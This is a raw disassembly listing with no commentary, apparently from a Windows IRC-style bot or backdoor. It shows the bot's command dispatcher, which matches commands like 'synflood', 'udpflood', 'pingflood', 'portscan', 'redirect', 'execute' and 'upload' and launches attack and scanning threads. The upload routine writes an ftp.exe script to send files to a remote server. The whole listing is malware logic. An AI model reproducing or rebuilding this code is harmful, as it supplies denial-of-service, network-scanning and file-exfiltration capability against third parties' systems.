		push	offset aExecute	; "execute"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409BF1
		push	esi
		push	offset aE	; "e"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409BF1
		push	esi
		push	offset aRename	; "rename"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409B69
		push	esi
		push	offset aMv	; "mv"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409B69
		mov	eax, [ebp+edi+var_98]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_407C50
		push	esi
		push	offset aSynflood ; "synflood"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A59
		push	esi
		push	offset aSyn_0	; "syn"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A59
		push	esi
		push	offset aKktt	; "kktt"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409918
		push	esi
		push	offset aKktt	; "kktt"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409918
		push	esi
		push	offset aRedirect ; "redirect"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40981D
		push	esi
		push	offset aRd	; "rd"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40981D
		push	esi
		push	offset aPortscan ; "portscan"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409729
		push	esi
		push	offset aPsc	; "psc"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409729
		mov	eax, [ebp+edi+var_94]
		cmp	eax, ebx
		mov	[ebp+arg_8], eax
		jz	loc_407C50
		push	esi
		push	offset aAss	; "ass"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D9
		push	esi
		push	offset aAas	; "aas"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D9
		push	esi
		push	offset aUdpflood ; "udpflood"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409290
		push	esi
		push	offset aUdp_0	; "udp"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409290
		push	esi
		push	offset aU	; "u"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409290
		push	esi
		push	offset aPingflood ; "pingflood"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409152
		push	esi
		push	offset aPing_0	; "ping"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409152
		push	esi
		push	offset aP	; "p"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409152
		mov	edi, [ebp+edi+var_90]
		cmp	edi, ebx
		jz	loc_407C50
		push	esi
		push	offset aUpload	; "upload"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40B19B
		push	4
		push	edi
		call	sub_4037EA
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409025
		push	edi
		push	offset dword_41F304


loc_408FEC:				; CODE XREF: sub_4077FD+1F12j
					; sub_4077FD+2CF2j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch


loc_408FFB:				; CODE XREF: sub_4077FD+1F27j
					; sub_4077FD+291Dj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40AC9D
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]


loc_409018:				; CODE XREF: sub_4077FD+1BC5j
					; sub_4077FD+2355j
		call	sub_404555
		add	esp, 14h
		jmp	loc_40AC9D
; ---------------------------------------------------------------------------


loc_409025:				; CODE XREF: sub_4077FD+17E7j
		call	dword_41805C	; GetTickCount
		push	eax
		call	sub_40CB55
		pop	ecx
		call	sub_40CB5F
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_40CB5F
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_40CB5F
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_3E8]
		push	edx
		push	eax
		lea	eax, [ebp+var_6AC]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_40C6C3
		lea	eax, [ebp+var_6AC]
		push	offset aAb	; "ab"
		push	eax
		call	sub_40DDC8
		mov	esi, eax
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_407C50
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	esi
		call	sub_40EA81
		push	esi
		call	sub_40D9CA
		lea	eax, [ebp+var_6AC]
		push	eax
		lea	eax, [ebp+var_7AC]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_40C6C3
		add	esp, 2Ch
		lea	eax, [ebp+var_7AC]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_42D7F8
		push	[ebp+arg_10]
		test	eax, eax
		push	edi
		jz	short loc_4090F0
		push	offset dword_41F294
		jmp	short loc_4090F5
; ---------------------------------------------------------------------------


loc_4090F0:				; CODE XREF: sub_4077FD+18EAj
		push	offset dword_41F264


loc_4090F5:				; CODE XREF: sub_4077FD+18F1j
		call	sub_40C6C3
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40911E
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 14h


loc_40911E:				; CODE XREF: sub_4077FD+1903j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_403145
		jmp	short loc_409138
; ---------------------------------------------------------------------------


loc_40912C:				; CODE XREF: sub_4077FD+194Ej
		lea	eax, [ebp+var_6AC]
		push	eax
		call	sub_40EA57


loc_409138:				; CODE XREF: sub_4077FD+192Dj
		lea	eax, [ebp+var_6AC]
		push	4
		push	eax
		call	sub_4037EA
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40912C
		jmp	loc_407C50
; ---------------------------------------------------------------------------


loc_409152:				; CODE XREF: sub_4077FD+1787j
					; sub_4077FD+179Cj ...
		cmp	dword_42D960, ebx
		mov	esi, [ebp+arg_4]
		jnz	loc_409265
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_2EC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		lea	eax, [ebp+var_384]
		push	eax
		call	sub_40C720
		push	[ebp+arg_18]
		call	sub_40D9BF
		push	[ebp+arg_0]
		mov	[ebp+var_304], eax
		call	sub_40D9BF
		push	[ebp+arg_8]
		mov	[ebp+var_300], eax
		call	sub_40D9BF
		push	7Fh
		mov	[ebp+var_2FC], eax
		push	[ebp+var_9C]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_40C720
		push	[ebp+var_2FC]
		lea	eax, [ebp+var_384]
		mov	[ebp+var_408], esi
		push	[ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_304]
		push	offset aPingSendingDPi ; "[PING]: Sending %d pings to %s. packet "...
		push	eax
		call	sub_40C6C3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	0Dh
		push	eax
		call	sub_40C062
		add	esp, 48h
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_408]
		push	ebx
		push	eax
		push	offset sub_405985
		push	ebx
		push	ebx
		call	dword_418048	; CreateThread
		mov	ecx, [ebp+var_2F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42F41C[ecx], eax
		jnz	short loc_40925B
		call	dword_418044	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset aPingFailedToSt ; "[PING]: Failed to start flood	thread,	e"...
		push	eax
		call	sub_40C6C3
		jmp	short loc_40927B
; ---------------------------------------------------------------------------


loc_409253:				; CODE XREF: sub_4077FD+1A64j
		push	32h
		call	dword_418040	; Sleep


loc_40925B:				; CODE XREF: sub_4077FD+1A3Aj
		cmp	[ebp+var_2E8], ebx
		jz	short loc_409253
		jmp	short loc_40927E
; ---------------------------------------------------------------------------


loc_409265:				; CODE XREF: sub_4077FD+195Ej
		push	1FFh
		lea	eax, [ebp+var_2E4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_40C720


loc_40927B:				; CODE XREF: sub_4077FD+1A54j
		add	esp, 0Ch


loc_40927E:				; CODE XREF: sub_4077FD+1A66j
		cmp	[ebp+var_8], ebx
		jnz	loc_40AC9D
		push	ebx
		push	[ebp+var_4]
		jmp	loc_409B44
; ---------------------------------------------------------------------------


loc_409290:				; CODE XREF: sub_4077FD+1748j
					; sub_4077FD+175Dj ...
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+var_4]
		push	7Fh
		mov	[ebp+var_2EC], eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_384]
		mov	[ebp+var_2F0], esi
		push	eax
		call	sub_40C720
		push	[ebp+arg_18]
		call	sub_40D9BF
		push	[ebp+arg_0]
		mov	[ebp+var_304], eax
		call	sub_40D9BF
		push	[ebp+arg_8]
		mov	[ebp+var_300], eax
		call	sub_40D9BF
		mov	edi, [ebp+edi+var_90]
		add	esp, 18h
		cmp	edi, ebx
		mov	[ebp+var_2FC], eax
		jz	short loc_4092FA
		push	edi
		call	sub_40D9BF
		pop	ecx
		mov	[ebp+var_2F8], eax
		jmp	short loc_409300
; ---------------------------------------------------------------------------


loc_4092FA:				; CODE XREF: sub_4077FD+1AECj
		mov	[ebp+var_2F8], ebx


loc_409300:				; CODE XREF: sub_4077FD+1AFBj
		push	7Fh
		lea	eax, [ebp+var_404]
		push	[ebp+var_9C]
		push	eax
		call	sub_40C720
		push	[ebp+var_2FC]
		mov	edi, [ebp+arg_4]
		lea	eax, [ebp+var_384]
		mov	[ebp+var_408], edi
		push	[ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_304]
		push	offset dword_41F188
		push	eax
		call	sub_40C6C3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	0Eh
		push	eax
		call	sub_40C062
		add	esp, 30h
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_408]
		push	ebx
		push	eax
		push	offset sub_405B11
		push	ebx
		push	ebx
		call	dword_418048	; CreateThread
		mov	ecx, [ebp+var_2F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42F41C[ecx], eax
		jnz	short loc_4093CF
		call	dword_418044	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset dword_41F14C
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch


loc_4093A9:				; CODE XREF: sub_4077FD+1BDAj
		cmp	[ebp+var_8], ebx
		jnz	loc_40AC9D
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	esi
		push	eax
		push	[ebp+var_9C]
		push	edi
		jmp	loc_409018
; ---------------------------------------------------------------------------


loc_4093C7:				; CODE XREF: sub_4077FD+1BD8j
		push	32h
		call	dword_418040	; Sleep


loc_4093CF:				; CODE XREF: sub_4077FD+1B8Fj
		cmp	[ebp+var_2E8], ebx
		jz	short loc_4093C7
		jmp	short loc_4093A9
; ---------------------------------------------------------------------------


loc_4093D9:				; CODE XREF: sub_4077FD+171Ej
					; sub_4077FD+1733j
		push	7
		call	sub_40C2A4
		push	[ebp+arg_18]
		mov	esi, eax
		call	sub_40D9BF
		add	eax, esi
		pop	ecx
		cmp	eax, 258h
		pop	ecx
		jle	short loc_40941D
		push	esi
		lea	eax, [ebp+var_2E4]
		push	offset unk_41F10C
		push	eax
		call	sub_40C6C3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		jmp	loc_40A08D
; ---------------------------------------------------------------------------


loc_40941D:				; CODE XREF: sub_4077FD+1BF6j
		push	[ebp+arg_10]
		call	sub_40D9BF
		push	[ebp+arg_18]
		mov	[ebp+var_31C], eax
		call	sub_40D9BF
		push	[ebp+arg_0]
		mov	[ebp+var_304], eax
		call	sub_40D9BF
		add	esp, 0Ch
		cmp	eax, 3
		mov	[ebp+var_318], eax
		jnb	short loc_409458
		push	3
		pop	eax
		mov	[ebp+var_318], eax


loc_409458:				; CODE XREF: sub_4077FD+1C50j
		push	0Ah
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_409465
		mov	[ebp+var_318], ecx


loc_409465:				; CODE XREF: sub_4077FD+1C60j
		push	[ebp+arg_8]
		call	sub_40D9BF
		mov	[ebp+var_314], eax
		mov	eax, 3E7h
		cmp	[ebp+var_314], eax
		pop	ecx
		jbe	short loc_409487
		mov	[ebp+var_314], eax


loc_409487:				; CODE XREF: sub_4077FD+1C82j
		or	[ebp+var_300], 0FFFFFFFFh
		cmp	dword_41A068, ebx
		mov	[ebp+arg_8], ebx
		jz	short loc_4094D6
		mov	esi, offset dword_41A068


loc_40949E:				; CODE XREF: sub_4077FD+1CBBj
		push	[ebp+arg_10]
		lea	eax, [esi-28h]
		push	eax
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4094BC
		inc	[ebp+arg_8]
		add	esi, 3Ch
		cmp	[esi], ebx
		jnz	short loc_40949E
		jmp	short loc_4094D6
; ---------------------------------------------------------------------------


loc_4094BC:				; CODE XREF: sub_4077FD+1CB1j
		mov	eax, [ebp+arg_8]
		mov	ecx, eax
		mov	[ebp+var_300], eax
		imul	ecx, 3Ch
		mov	ecx, dword_41A068[ecx]
		mov	[ebp+var_31C], ecx


loc_4094D6:				; CODE XREF: sub_4077FD+1C9Aj
					; sub_4077FD+1CBDj
		cmp	[ebp+var_31C], ebx
		jnz	short loc_4094E8
		push	offset unk_41F0D4
		jmp	loc_40A4F9
; ---------------------------------------------------------------------------


loc_4094E8:				; CODE XREF: sub_4077FD+1CDFj
		mov	esi, [ebp+edi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_18], esi
		jz	short loc_409526
		cmp	byte ptr [esi],	23h
		jz	short loc_409526
		push	esi
		lea	eax, [ebp+var_430]
		push	10h
		push	eax
		call	sub_40D3F7
		push	78h
		push	esi
		call	sub_40E610
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_2F0], eax
		jmp	loc_4095FA
; ---------------------------------------------------------------------------


loc_409526:				; CODE XREF: sub_4077FD+1CF7j
					; sub_4077FD+1CFCj
		cmp	[ebp+var_8CF], bl
		jnz	short loc_409548
		cmp	[ebp+var_8CE], bl
		jnz	short loc_409548
		cmp	[ebp+var_8BE], bl
		jnz	short loc_409548
		push	offset unk_41F09C
		jmp	loc_40A4F9
; ---------------------------------------------------------------------------


loc_409548:				; CODE XREF: sub_4077FD+1D2Fj
					; sub_4077FD+1D37j ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	esi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		mov	[ebp+arg_0], esi
		push	[ebp+arg_4]
		call	dword_42D820	; getsockname
		mov	al, [ebp+var_8CF]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_D4], eax
		push	[ebp+var_D4]
		call	dword_42D900	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40C720
		add	esp, 0Ch
		cmp	[ebp+var_8BE], bl
		jz	short loc_4095F4
		xor	eax, eax
		cmp	[ebp+var_8CF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40EA30
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_4095E8


loc_4095C6:				; CODE XREF: sub_4077FD+1DE9j
		cmp	eax, ebx
		jz	short loc_4095E8
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_430]
		push	30h
		push	eax
		call	sub_40EA30
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, esi
		jl	short loc_4095C6


loc_4095E8:				; CODE XREF: sub_4077FD+1DC7j
					; sub_4077FD+1DCBj
		mov	[ebp+var_2F0], 1
		jmp	short loc_4095FA
; ---------------------------------------------------------------------------


loc_4095F4:				; CODE XREF: sub_4077FD+1DA1j
		mov	[ebp+var_2F0], ebx


loc_4095FA:				; CODE XREF: sub_4077FD+1D24j
					; sub_4077FD+1DF5j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_9C]
		mov	[ebp+var_320], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2F4], eax
		mov	esi, 80h
		lea	eax, [ebp+var_420]
		push	esi
		push	eax
		call	sub_40D3F7
		mov	edi, [ebp+edi+var_8C]
		add	esp, 0Ch
		cmp	edi, ebx
		jz	short loc_40964E


loc_40963B:				; CODE XREF: sub_4077FD+1E74j
		push	edi


loc_40963C:				; CODE XREF: sub_4077FD+1E5Ej
		lea	eax, [ebp+var_3A0]
		push	esi
		push	eax
		call	sub_40D3F7
		add	esp, 0Ch
		jmp	short loc_409679
; ---------------------------------------------------------------------------


loc_40964E:				; CODE XREF: sub_4077FD+1E3Cj
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_40965D
		cmp	byte ptr [eax],	23h
		jnz	short loc_40965D
		push	eax
		jmp	short loc_40963C
; ---------------------------------------------------------------------------


loc_40965D:				; CODE XREF: sub_4077FD+1E56j
					; sub_4077FD+1E5Bj
		mov	edi, offset aPrv_1 ; "#prv##"
		push	offset byte_4242F0
		push	edi
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40963B
		mov	[ebp+var_3A0], bl


loc_409679:				; CODE XREF: sub_4077FD+1E4Fj
		cmp	[ebp+var_2F0], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40968B
		mov	eax, offset aSequential	; "Sequential"


loc_40968B:				; CODE XREF: sub_4077FD+1E87j
		push	[ebp+var_304]
		lea	ecx, [ebp+var_430]
		push	[ebp+var_314]
		push	[ebp+var_318]
		push	[ebp+var_31C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41F020
		push	eax
		call	sub_40C6C3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	7
		push	eax
		call	sub_40C062
		add	esp, 2Ch
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_430]
		push	ebx
		push	eax
		push	offset sub_401704
		push	ebx
		push	ebx
		call	dword_418048	; CreateThread
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42F41C[ecx], eax
		jnz	short loc_40971C
		call	dword_418044	; RtlGetLastWin32Error
		push	eax
		push	offset unk_41EFE8
		jmp	loc_408FEC
; ---------------------------------------------------------------------------


loc_409714:				; CODE XREF: sub_4077FD+1F25j
		push	32h
		call	dword_418040	; Sleep


loc_40971C:				; CODE XREF: sub_4077FD+1F04j
		cmp	[ebp+var_2EC], ebx
		jz	short loc_409714
		jmp	loc_408FFB
; ---------------------------------------------------------------------------


loc_409729:				; CODE XREF: sub_4077FD+16E2j
					; sub_4077FD+16F7j
		push	[ebp+arg_10]
		call	dword_42D8B4	; inet_addr
		push	[ebp+arg_18]
		mov	[ebp+var_6C4], eax
		call	sub_40D9BF
		push	[ebp+arg_0]
		mov	[ebp+var_6D0], eax
		call	sub_40D9BF
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_9C]
		mov	[ebp+var_6CC], eax
		lea	eax, [ebp+var_750]
		mov	[ebp+var_754], esi
		push	eax
		call	sub_40C720
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_6BC], edi
		push	[ebp+var_6CC]
		mov	[ebp+var_6B8], eax
		push	[ebp+var_6D0]
		push	[ebp+var_6C4]
		call	dword_42D900	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41EFAC
		push	eax
		call	sub_40C6C3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	7
		push	eax
		call	sub_40C062
		add	esp, 20h
		mov	[ebp+var_6C8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	offset sub_4068AE
		push	ebx
		push	ebx
		call	dword_418048	; CreateThread
		mov	ecx, [ebp+var_6C8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42F41C[ecx], eax
		jnz	short loc_409810
		call	dword_418044	; RtlGetLastWin32Error
		push	eax
		push	offset unk_41EFE8
		jmp	loc_409B2A
; ---------------------------------------------------------------------------


loc_409808:				; CODE XREF: sub_4077FD+2019j
		push	32h
		call	dword_418040	; Sleep


loc_409810:				; CODE XREF: sub_4077FD+1FF8j
		cmp	[ebp+var_6B4], ebx
		jz	short loc_409808
		jmp	loc_409B39
; ---------------------------------------------------------------------------


loc_40981D:				; CODE XREF: sub_4077FD+16B8j
					; sub_4077FD+16CDj
		push	[ebp+arg_10]
		call	sub_40D9BF
		push	7Fh
		mov	[ebp+var_300], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_40C720
		push	[ebp+arg_0]
		call	sub_40D9BF
		push	[ebp+var_9C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_384]
		push	80h
		push	eax
		mov	[ebp+var_40C], esi
		call	sub_40D3F7
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		push	[ebp+var_304]
		lea	eax, [ebp+var_404]
		mov	[ebp+var_2F4], edi
		push	eax
		push	[ebp+var_300]
		push	esi
		call	sub_4058DC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41EF6C
		push	eax
		call	sub_40C6C3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	0Fh
		push	eax
		call	sub_40C062
		add	esp, 24h
		mov	[ebp+var_2FC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_40C]
		push	ebx
		push	eax
		push	offset sub_406055
		push	ebx
		push	ebx
		call	dword_418048	; CreateThread
		mov	ecx, [ebp+var_2FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42F41C[ecx], eax
		jnz	short loc_40990B
		call	dword_418044	; RtlGetLastWin32Error
		push	eax
		push	offset unk_41EF28
		jmp	loc_409B2A
; ---------------------------------------------------------------------------


loc_409903:				; CODE XREF: sub_4077FD+2114j
		push	32h
		call	dword_418040	; Sleep


loc_40990B:				; CODE XREF: sub_4077FD+20F3j
		cmp	[ebp+var_2EC], ebx
		jz	short loc_409903
		jmp	loc_409B39
; ---------------------------------------------------------------------------


loc_409918:				; CODE XREF: sub_4077FD+168Ej
					; sub_4077FD+16A3j
		mov	esi, 0FFh
		lea	eax, [ebp+var_508]
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_40C720
		push	esi
		lea	eax, [ebp+var_408]
		push	[ebp+arg_18]
		push	eax
		call	sub_40C720
		push	[ebp+arg_0]
		mov	[ebp+var_304], ebx
		call	sub_40D9BF
		mov	[ebp+var_300], eax
		mov	eax, [ebp+edi+var_94]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_409973
		push	10h
		push	ebx
		push	eax
		call	sub_40E2CB
		add	esp, 0Ch
		mov	[ebp+var_2F8], eax
		jmp	short loc_409979
; ---------------------------------------------------------------------------


loc_409973:				; CODE XREF: sub_4077FD+2160j
		mov	[ebp+var_2F8], ebx


loc_409979:				; CODE XREF: sub_4077FD+2174j
		mov	edi, [ebp+edi+var_90]
		cmp	edi, ebx
		jz	short loc_409993
		push	edi
		call	sub_40D9BF
		pop	ecx
		mov	[ebp+var_2FC], eax
		jmp	short loc_409999
; ---------------------------------------------------------------------------


loc_409993:				; CODE XREF: sub_4077FD+2185j
		mov	[ebp+var_2FC], ebx


loc_409999:				; CODE XREF: sub_4077FD+2194j
		movzx	eax, [ebp+var_8CB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_9C]
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_588]
		mov	[ebp+var_58C], esi
		push	eax
		call	sub_40C720
		push	[ebp+arg_18]
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2E4]
		mov	[ebp+var_2EC], edi
		push	offset unk_41EEF8
		push	eax
		call	sub_40C6C3
		push	esi
		lea	eax, [ebp+var_2E4]
		push	14h
		push	eax
		call	sub_40C062
		add	esp, 28h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_58C]
		push	ebx
		push	eax
		push	offset sub_4032EE
		push	ebx
		push	ebx
		call	dword_418048	; CreateThread
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42F41C[ecx], eax
		jnz	short loc_409A4C
		call	dword_418044	; RtlGetLastWin32Error
		push	eax
		push	offset unk_41EEB8
		jmp	loc_409B2A
; ---------------------------------------------------------------------------


loc_409A44:				; CODE XREF: sub_4077FD+2255j
		push	32h
		call	dword_418040	; Sleep


loc_409A4C:				; CODE XREF: sub_4077FD+2234j
		cmp	[ebp+var_2E8], ebx
		jz	short loc_409A44
		jmp	loc_409B39
; ---------------------------------------------------------------------------


loc_409A59:				; CODE XREF: sub_4077FD+1664j
					; sub_4077FD+1679j
		push	7Fh
		lea	eax, [ebp+var_4F4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_40C720
		push	esi
		lea	eax, [ebp+var_474]
		push	[ebp+arg_18]
		push	eax
		call	sub_40C720
		push	esi
		lea	eax, [ebp+var_3F4]
		push	[ebp+arg_0]
		push	eax
		call	sub_40C720
		push	esi
		lea	eax, [ebp+var_374]
		push	[ebp+var_9C]
		push	eax
		call	sub_40C720
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		push	[ebp+arg_18]
		mov	[ebp+var_2EC], eax
		lea	eax, [ebp+var_2E4]
		mov	[ebp+var_2F0], edi
		push	[ebp+arg_10]
		mov	[ebp+var_4F8], esi
		push	offset dword_41EE88
		push	eax
		call	sub_40C6C3
		add	esp, 44h
		lea	eax, [ebp+var_2E4]
		push	ebx
		push	0Ah
		push	eax
		call	sub_40C062
		add	esp, 0Ch
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F8]
		push	ebx
		push	eax
		push	offset sub_40B359
		push	ebx
		push	ebx
		call	dword_418048	; CreateThread
		mov	ecx, [ebp+var_2F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42F41C[ecx], eax
		jnz	short loc_409B5F
		call	dword_418044	; RtlGetLastWin32Error
		push	eax
		push	offset dword_41EE50


loc_409B2A:				; CODE XREF: sub_4077FD+2006j
					; sub_4077FD+2101j ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch


loc_409B39:				; CODE XREF: sub_4077FD+201Bj
					; sub_4077FD+2116j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40AC9D
		push	ebx
		push	edi


loc_409B44:				; CODE XREF: sub_4077FD+1A8Ej
		lea	eax, [ebp+var_2E4]
		push	eax
		push	[ebp+var_9C]
		push	esi
		jmp	loc_409018
; ---------------------------------------------------------------------------


loc_409B57:				; CODE XREF: sub_4077FD+2368j
		push	32h
		call	dword_418040	; Sleep


loc_409B5F:				; CODE XREF: sub_4077FD+231Fj
		cmp	[ebp+var_2E8], ebx
		jz	short loc_409B57
		jmp	short loc_409B39
; ---------------------------------------------------------------------------


loc_409B69:				; CODE XREF: sub_4077FD+1628j
					; sub_4077FD+163Dj
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	dword_4180FC	; MoveFileA
		test	eax, eax
		jz	short loc_409B9A
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2E4]
		push	[ebp+arg_10]
		push	offset unk_41EE28
		push	200h
		push	eax
		call	sub_40D3F7
		add	esp, 14h
		jmp	short loc_409BB9
; ---------------------------------------------------------------------------


loc_409B9A:				; CODE XREF: sub_4077FD+237Aj
		push	offset dword_41EE18
		call	sub_40530E
		push	eax
		lea	eax, [ebp+var_2E4]
		push	200h
		push	eax
		call	sub_40D3F7
		add	esp, 10h


loc_409BB9:				; CODE XREF: sub_4077FD+239Bj
					; sub_4077FD+2C84j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_409BDA
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 14h


